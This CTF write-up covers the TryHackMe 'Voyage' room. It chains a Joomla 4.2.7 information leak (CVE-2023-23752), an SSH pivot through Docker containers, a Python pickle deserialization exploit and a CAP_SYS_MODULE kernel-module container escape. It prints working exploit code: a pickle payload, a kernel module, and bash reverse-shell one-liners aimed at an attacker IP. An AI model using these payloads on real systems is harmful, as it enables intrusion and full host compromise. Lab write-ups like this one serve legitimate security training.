Voyage
Chain multiple vulnerabilities to gain control of a system. - by 1337rce
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a rustscan and continue with an nmap default script and service scan, finding three open ports. Ports 22
and 2222
, both running SSH.

On port 80
, we have a web server running the Joomla CMS.
Joomla! - Open Source Content Management

We can't find anything manually or using directory scan. So we'll continue by taking a closer look at Joomla.

We use Joomscan for this purpose. Joomscan is an open source vulnerability scanner:
We run joomscan but do not find any vulnerabilities. But the version running: Joomla 4.2.7
joomscan -u http://voyage.thm

After some research, we also found a vulnerability related to this: CVE-2023-23752
CVE-2023-23752
This allowed an improper access check which allows an unauthorized access to webservice endpoints exposing sensitive information:
An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
PoCs are also available for this purpose, which access the following endpoints. We could also try it manually.
/api/index.php/v1/users?public=true
/api/index.php/v1/config/application?public=true
We run the PoC...

... and are able to retrieve some credentials.

Shell as root on f5eb774507f2
They are not valid for the login on the web page.

Next, we try those on port 22 and 2222 and are successful on 2222. We are able to log in as root
. We seem to be in a docker container. No flags yet, and a docker escape seems not to be applicable.

Shell as root on d221f7bc7bf8
Since we are inside a container, itโs reasonable to assume that other containers or internal services may be accessible. By checking the /etc/hosts
file, we identify the containerโs internal IP address. From this, we can derive the subnet 192.186.100.0/24
and proceed to scan the internal network.

Internal Service Enumeration
Fortunately, Nmap is available on the machine, which is not usually the case. If nmap were not available, we could try put statically compiled version on the machine or use ligolo-ng
. A setup for ligolo-ng
is described as a bonus below, but it is not mandatory.
We scan the network 192.168.100.0/24
and find the host 192.168.100.12
nmap -sn 192.168.100.0/24

Unfortunatly, the service and script scan seems to fail on the victim machine.
nmap -sC -sV -p5000 192.168.100.12
We create an SSH tunnel with port forwarding using, which maps the remote service on 192.168.100.12:5000
to our local port 5000
.
ssh -L 5000:192.168.100.12:5000 root@voyage.thm -p2222

We redo the the service and script scan and see a python webserver running on port 5000
.
nmap -sC -sV -p5000 127.0.0.1

The index page reveals a login page.

Bonus Ligolo-ng Setup
For the subsequent phases, we can use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
First, we set up a TUN (network tunnel) interface called ligolo on our attacker machine and configuring routes to forward traffic for specific IP ranges (240.0.0.1
, 192.168.100/24
) through the tunnel.
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.1 dev ligolo
sudo ip route add 192.168.100.0/24 dev ligolo

On our attack machine, we start the proxy server.
./proxy -selfcert
Next, we get the agent on the docker container and connect to our proxy.
curl http://10.14.90.235/agent -o agent
chmod +x agent
./agent -connect 10.14.90.235:11601 --ignore-cert
We get a message on our ligolo-ng proxy that an agent has joined. We use session
to select the session and then start it.
We are now able to reach the machines on networks 192.168.100.0/24
and the machines services itself.
Access to Finance Panel
We reuse the credentials found through CVE-2023-23752
, and are able to login.

There we see just an table of investments.

RCE via Insecure Deserialization
We inspect the cookies and find the session_data
cookie which looks like serialized data.

80049525000000000000007d94288c0475736572948c04726f6f74948c07726576656e7565948c05383530303094752e
Since it is a python web server, it could be serialized pickle data. To confirm we write a small script to deserialize the data.
#!/usr/bin/env python3
import sys, pickle, base64, binascii
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <cookie>")
sys.exit(1)
cookie = sys.argv[1]
try:
# Try hex decode first
data = binascii.unhexlify(cookie)
except (binascii.Error, ValueError):
# If not hex, try base64
data = base64.b64decode(cookie)
obj = pickle.loads(data)
print(obj)
We run the script and provide the cookie data and see it gets properly deserialized.

Since we know, the data is serialized by pickle we can try to craft a malicious payload, that eventually gets deserizalized and exectued by the app.
Next, we creat a malicious Python pickle payload that, when deserialized, spawns a reverse shell to our IP 10.14.90.235
on port 4445
. The __reduce__
method in our Exploit
class ensures that unpickling executes subprocess.Popen
with the reverse shell command.
#!/usr/bin/env python3
import pickle
import subprocess
class Exploit:
def __reduce__(self):
return (subprocess.Popen, (["bash", "-c", "bash -i >& /dev/tcp/10.14.90.235/4445 0>&1"],))
payload = pickle.dumps(Exploit())
print(payload.hex())
We run the script and receive the serialized data for the reverse shell. Next, we set up a listener on our desired port 4445
. Then we request the page using cURL providing the malicious session_data
.
curl -H 'Cookie:session_data=80049559000000000000008c0a73756270726f63657373948c05506f70656e9493945d94288c0462617368948c022d63948c2a62617368202d69203e26202f6465762f7463702f31302e31342e39302e3233352f3434343520303e26319465859452942e' http://127.0.0.1:5000

The data gets deserialized and evaluated. We receive a connection back to our listener and are root
on d221f7bc7bf8
.

Next, we upgrade our shell.
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo && fg

At /root/user.txt
we find the first flag

Shell as root on tryhackme-2404
On d221f7bcf7bf8
we are still in a docker container, our voyage continues. Linpeas does only spot that /proc
is mounted for a possible container escape.
curl http://10.14.90.235/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

We continue with deepce, a slightly older script. But still reliable. This reveals the set capabilities.
curl http://10.14.90.235/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

One of these is cap_sys_module
. If this is set, it allows a docker escape as described several times in the following sources.

In short: Because the CAP_SYS_MODULE
Linux capability allows a process (even inside a Docker container) to load or unload kernel modules, an attacker with container-level execution can insert a malicious module that executes code or launches a reverse shell on the host, effectively breaking out of the containerโs isolation.โฏ
We adapt the script with our IP and port for a reverse shell and provide the script and Makefile from the sources using a Python web server and transfer them to the machine.
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
static int start_shell(void) {
char *argv[] = {
"/bin/bash",
"-c",
"bash -i >& /dev/tcp/10.14.90.235/4445 0>&1",
NULL
};
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}
static int init_mod(void) {
return start_shell();
}
static void exit_mod(void) {
return;
}
module_init(init_mod);
module_exit(exit_mod);
We adjust the Makefile because our test always used the incorrect version 6.8.0-1031-aws, which was not installed. We simply hardcode this.
root@d221f7bc7bf8:/tmp/exp# cat Makefile
obj-m += rev.o
KVER := 6.8.0-1030-aws
KDIR := /lib/modules/$(KVER)/build
PWD := $(shell pwd)
all:
make -C $(KDIR) M=$(PWD) modules
clean:
make -C $(KDIR) M=$(PWD) clean
We transfer the files.
curl http://10.14.90.235/rev.c -o rev.c
curl http://10.14.90.235/Makefile -o Makefile
Then we compile the exploit.
make
Next, we trigger the exploit with the following:
insmod rev.ko

We receive a connection back and are root
on d221f7bcf7bf8
and find the final flag at /root/root.txt.

Last updated
Was this helpful?